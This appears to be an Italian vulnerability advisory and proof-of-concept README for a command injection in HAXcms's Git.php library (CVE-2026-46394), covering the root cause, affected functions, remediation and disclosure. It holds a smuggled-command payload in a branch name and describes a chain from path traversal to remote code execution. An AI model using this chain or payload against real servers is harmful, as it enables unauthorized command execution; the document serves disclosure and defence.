CVE-2026-46394 - HAXcms Git.php Iniezione di comandi del sistema operativo (CWE-78)

Proof-of-concept solo per test di sicurezza autorizzati e ricerca. La vulnerabilità descritta è corretta nell'ultima release di HAXcms. Questo PoC è pubblicato affinché difensori e ricercatori possano verificare il problema su istanze non patchate di loro proprietà o esplicitamente autorizzate al test.

CVE	CVE-2026-46394
Componente	Backend PHP di HAXcms - system/backend/php/lib/Git.php
Vulnerabilità	Iniezione di comandi del sistema operativo (CWE-78)
Gravità	Alta - CVSS 3.1 7.2 standalone / 8.1 in combinazione con path traversal
Stato	Corretto upstream. Interessa le release precedenti alla patch.
Progetto	elmsln/HAXcms
Segnalatore	Shreyas Challa ([email protected])

---

Riepilogo

La libreria Git.php nel backend PHP di HAXcms costruisce stringhe di comando shell concatenando parametri non sanitizzati e le passa direttamente a proc_open(). Delle 17 funzioni che eseguono comandi shell, solo una (commit()) usa escapeshellarg(). Le restanti 15 interpolano direttamente l'input del chiamante nella stringa di comando.

Qualsiasi valore contenente metacaratteri di shell (&, ;, |, $(), backtick) che raggiunge una di queste funzioni provoca l'esecuzione arbitraria di comandi del sistema operativo con i privilegi dell'utente del web server.

L'unica funzione correttamente escapata è la prova più evidente che l'escaping era noto e semplicemente omesso in tutti gli altri casi.

Causa principale

Ogni funzione vulnerabile passa attraverso run() → run_command() → proc_open():

// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

Esempio vulnerabile rispetto all'unica funzione sicura:

// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

Tutte le funzioni interessate

Funzione	Riga	Comando shell	Escapata?
create_branch($branch)	574	branch $branch	NO
delete_branch($branch)	588	branch -d $branch	NO
checkout($branch)	663	checkout $branch	NO
merge($branch)	677	merge $branch --no-ff	NO
push($remote, $branch)	785	push $remote $branch $flags	NO
pull($remote, $branch)	799	pull $remote $branch	NO
log($format)	813	log --pretty=format:"$format"	NO
show($commit, $format)	830	show --pretty=format:"$format" $commit	NO
list_tags($pattern)	763	tag -l $pattern	NO
clone_to($target)	512	clone --local $repo $target	NO
clone_from($source)	527	clone --local $source $repo	NO
clone_remote($source)	543	clone $source $repo	NO
set_remote($dest, $url)	460	remote add $dest $url	NO
rm($files)	479	rm $files	NO
add_tag($tag, $msg)	749	tag -a $tag -m $msg	$tag: NO, $msg: sì
commit($message)	496	commit -av -m $message	SÌ (l'unica sicura)

Sfruttamento nel contesto

Nel codebase distribuito, queste funzioni vengono invocate con valori provenienti dalla configurazione di server/sito piuttosto che direttamente dai body delle richieste, quindi lo sfruttamento si realizza tramite concatenazione:

• Path traversal → avvelenamento della configurazione → RCE: usa la path traversal di saveOutline per sovrascrivere il site.json di un sito, iniettando metacaratteri in metadata.site.git.branch. La successiva chiamata a gitCommit() invoca push('origin', $branch) in HAXCMSSite.php:584, eseguendo il payload.
• Qualsiasi altro meccanismo che scrive impostazioni di branch/remote git in un manifest raggiunge create_branch() (Operations.php:2762) o set_remote() (HAXCMSSite.php:625).

Esecuzione del PoC

Il PoC pilota direttamente la libreria reale Git.php: crea un repository git usa e getta, chiama create_branch() con un payload che usa un separatore di comandi shell e conferma l'esecuzione verificando la presenza di un file di prova scritto su disco. Si pulisce da solo alla fine.

Prerequisiti

• PHP CLI (7.x or 8.x)
• git nel PATH
• Una copia del backend PHP di HAXcms

git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

Esecuzione

Indica al PoC il percorso di Git.php dal tuo clone di HAXcms (variabile d'ambiente o primo argomento); auto-rileva anche haxcms-php/ se posizionato accanto ad esso:

# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Funziona sia su Unix (separatore ;) che su Windows (separatore &); il PoC seleziona automaticamente il payload corretto per il sistema operativo host.

Esempio di output

================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

Rimedio

Applica escapeshellarg() a ogni parametro in tutte le 15 funzioni:

// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

Difesa in profondità - valida i valori prima che raggiungano il livello git:

function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

Aggiorna all'ultima release di HAXcms, che contiene la correzione upstream.

Divulgazione responsabile

Questo problema è stato segnalato ai maintainer di HAXcms e corretto prima della pubblicazione. Il PoC è rilasciato solo dopo che una patch era disponibile. Usalo esclusivamente contro sistemi di tua proprietà o per cui sei esplicitamente autorizzato a eseguire test.

Avviso legale / uso autorizzato

Questo materiale è fornito per ricerca difensiva, formazione e test di sicurezza autorizzati. Eseguirlo contro sistemi senza permesso esplicito potrebbe essere illegale. Sei l'unico responsabile del rispetto di tutte le leggi applicabili e dell'ottenimento dell'autorizzazione prima di effettuare i test. Fornito "così com'è" senza garanzie (vedi LICENSE).